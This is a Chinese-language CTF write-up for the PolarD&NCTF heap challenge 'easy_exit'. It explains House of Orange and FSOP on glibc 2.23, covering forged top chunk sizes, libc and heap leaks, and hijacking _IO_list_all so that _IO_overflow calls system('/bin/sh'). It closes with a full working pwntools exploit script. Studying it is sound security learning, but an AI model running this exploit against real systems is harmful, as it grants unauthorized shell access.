0x00 前言:

堆学习之路仍在继续,这次依旧是PolarD&NCTF上的一道堆题,名字是easy_exit,其实House of Orange挺模板的,这里只是简单过一遍,让自己大概理解一下这个模板是怎么运作的。House of Orange本身并不难理解,难理解的是后面的FSOP

0x01 分析:

Checksec 一下:

Arch:       amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'/home/link/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/'
Stripped: No

Ida 启动
程序还是很简单的,可以申请两次自定义大小的堆块,然后可以多次申请 0x1000 大小的堆。主要是没有 free 功能,没法正常泄露 libc。
这就要用到 house 系列中的 house of orange 了,简单来说就是当前堆的 top chunk 尺寸不够用户申请的大小时,原来的 top chunk 会被放到 unsorted bin 中。
而且程序中的编辑堆功能有堆溢出,所以我们需要伪造合适的 top chunk size,用以触发 house of orange

malloc(0x18)
payload=b'\x00'*0x18+p64(0x0fe1)

edit(payload)
just_malloc()

House of Orange

要触发 house of orange 的话 topchunk 的 size 需要符合一定的要求,我们可以看看 ctfwiki 的描述:

伪造的 top chunk size 的要求:

  1. 伪造的 size 必须要对齐到内存页
  2. size 要大于 MINSIZE(0x10)
  3. size 要小于之后申请的 chunk size + MINSIZE(0x10)
  4. size 的 prev inuse 位必须为 1
  • 之后原有的 top chunk 就会执行_int_free从而顺利进入 unsorted bin 中。

省流:fake_size 可以是 0x0fe1、0x1fe1、0x2fe1、0x3fe1 等对 4kb 对齐的 size。
因为程序中 malloc 的时候有对 size 进行限制,必须小于 0x1000,所以选择 0x0fe1
实际上 house of orange 的部分到此就结束了,要理解这个对我来说不是很困难,后面的 FSOP 才是最难以理解的东西,为了进行 FSOP 攻击呢,我们还需要 libc 基地址以及堆的地址,所以我们再申请一个 0x18 大小的堆块,这个堆块会从 unsorted bin 中割出来

leak一下

然后我们先打印一次,利用这个指向 main_arena+xx 的地址来泄露 libc。
遍历unsorted bin的时候,会将其中的堆块分类放入small bin或者large bin中,这样程序中那个大堆块就会被分到large bin中,然后启用fd_nextsize和bk_nextsize指针(堆地址就会残留到这上面),从large bin申请出来的chunk上面残留了libc和堆地址,我们可以通过编辑堆的方式,将前面 0x10 字节填满,这样再次输出的话就能得到堆地址了。

FSOP

接下来则是重量级的部分,也就是 FSOP,涉及到一些_IO_FILE的知识点,我们可以先看一下 _IO_list_all 原本的结构
我们要让 _IO_list_all 变成这样:

FSOP 选择的触发方法是调用 _IO_flush_all_lockp,这个函数会刷新 _IO_list_all 链表中所有项的文件流,相当于对每个 FILE 调用 fflush,也对应着会调用 _IO_FILE_plus.vtable 中的 _IO_overflow

其实主要思想就是劫持这个 _IO_overflow, 将其改写为 system 函数,而 _IO_overflow 的参数主要是 _flags 位置上的内容。接下来就是详细的攻击解释

首先是通过 unsorted bin 劫持 _IO_list_all,使其指向 main_arena + 88 的位置,然后然后在 smallbin[4](smallbin[0x60]) 这里伪造 stdout 的内容。

为什么是这些位置?
因为原本的 _IO_list_all 是先指向 stderr 的,而 stderr+0x68 则是 stderr 的 chain,原本是指向 stdout 的。
现在我们劫持了 _IO_list_all,使它指向 main_arena+88, 正好 main_arena+88+0x68 指向的内容是 smallbin[0x60], 那么只要在 smallbin 中伪造一个 chunk 来代替原本的 stdout 即可

执行 _IO_overflow 我们还需要绕过一些检测:

if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)||(_IO_vtable_offset (fp) == 0 && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base)))&& _IO_OVERFLOW (fp, EOF) == EOF)
result = EOF;

省流:mode=0,_IO_write_ptr=1,_IO_write_base=0 即可。现在来看看 exp 的构造:
其实也算比较模板了,我们可以来分解一下:
其实上面这里都是属于模板,先是设置 _flags 段为 /bin/sh,然后是 size 位为 0x61,接着为了实行 unsorted bin attack 设置一下 fd 和 bk 指针,然后是为了绕过 _IO_overflow 的检测需要设置的 _IO_write_base_IO_wrtie_ptr,最后是 mode
值得关注的是 vtable_ptr 位置的设置,他在 _flags + 0xd8 的位置上:
这里在官方 wp 中被设置为自身,而 + 0x18 的地址上设置为 system 的地址,官方的说法是这里就是 _IO_overflow 的地址,但是我参考了一下其他师傅的 wp,觉得应该是这样一回事,在 《House Of Orange》 中提到,攻击的流程大概是这样:

将_IO_list_all设置为main_arena+88
========>程序异常
========>进行_IO_flush_all_lockp
========>第一个FILE结构_mode异常未能触发_IO_OVERFLOW
========>遍历到第二个FILE结构成功触发利用

这里提到了第一个 FILE 未能触发异常,文章的后半段也提到了:

__libc_malloc => malloc_printerr => __libc_message => abort => _IO_flush_all_lockp

我的理解是

__libc_malloc

属于 程序触发异常,而

进行_IO_flush_all_lockp
========>第一个FILE结构_mode异常未能触发_IO_OVERFLOW
========>遍历到第二个FILE结构成功触发利用

则是对应剩下的部分:

malloc_printerr 
=> __libc_message
=> abort
=> _IO_flush_all_lockp

一共四个步骤,最后一个 _IO_flush_all_lockp 正好对应了 jump_table[3],在那篇博客中作者给出的示例代码也有类似的片段
编辑完之后只需要再 malloc 一下就有概率能 getshell,这个概率是 1/2,具体原因可看关于house of orange(unsorted bin attack &&FSOP)的学习总结 当中有提到。无论是这个原因还是 FSOP 对于现在的我来说都很难理解,大概明白打 FSOP 也算是一个模板就可以了,具体原理可以等之后学了 IO 再回来回顾。

0X02 EXP:

from pwn import *
from ctypes import *
from struct import pack

context.arch='amd64'
context.os = 'linux'
context.log_level = 'debug'
file='/mnt/c/Users/Z2023/Desktop/easy_exit'
elf=ELF(file)
libc=ELF('/home/link/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')

choice = 0x000
if choice:
port=2075
polar='1.95.36.136'
nss='node5.anna.nssctf.cn'
p = remote(polar,port)
else:
p = process(file)

s = lambda data :p.send(data)
sl = lambda data :p.sendline(data)
sa = lambda x,data :p.sendafter(x, data)
sla = lambda x,data :p.sendlineafter(x, data)
r = lambda num=4096 :p.recv(num)
rl = lambda num=4096 :p.recvline(num)
ru = lambda x :p.recvuntil(x)
itr = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
uru64 = lambda :uu64(ru('\x7f')[-6:])
leak = lambda name :log.success('{} = {}'.format(name, hex(eval(name))))
libc_os = lambda x :libc_base + x
libc_sym = lambda x :libc_os(libc.sym[x])
def get_sb():
return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))

def debug(cmd=''):
if choice==1:
return
gdb.attach(p,cmd)

def malloc(size):
sla('choice: \n',b'1')
sla('size:\n',str(size))

def free(index):
sla(':',b'3')
sla('Input page\n',str(index))

def edit(content):
sla('choice: \n',b'2')
sa('input\n',content)

def show():
sla('choice: \n',b'3')


def just_malloc():
sla('choice: \n',b'4')

malloc(0x18)

payload=b'\x00'*0x18+p64(0x0fe1)
edit(payload)
just_malloc()

malloc(0x18)

show()

libc_base=uru64()-0x3c5188
leak('libc_base')
edit(b'a'*0xf+b'b')
show()
ru(b'b')
heap_addr=uu64(r(6))
leak('heap_addr')

_IO_list_all = libc_os(libc.sym['_IO_list_all'])
system = libc_os(libc.sym['system'])

orange = b'/bin/sh\x00' + flat(0x61,0,_IO_list_all - 0X10)
orange += p64(0) + p64(1)
orange += p64(0)*9
orange += p64(system)
orange = orange.ljust(0xc0, b'\x00')
orange += p64(0) * 3 + p64(heap_addr+0x60+0x20)

payload = b'a'*0x10
payload += orange

edit(payload)

debug()
just_malloc()

itr()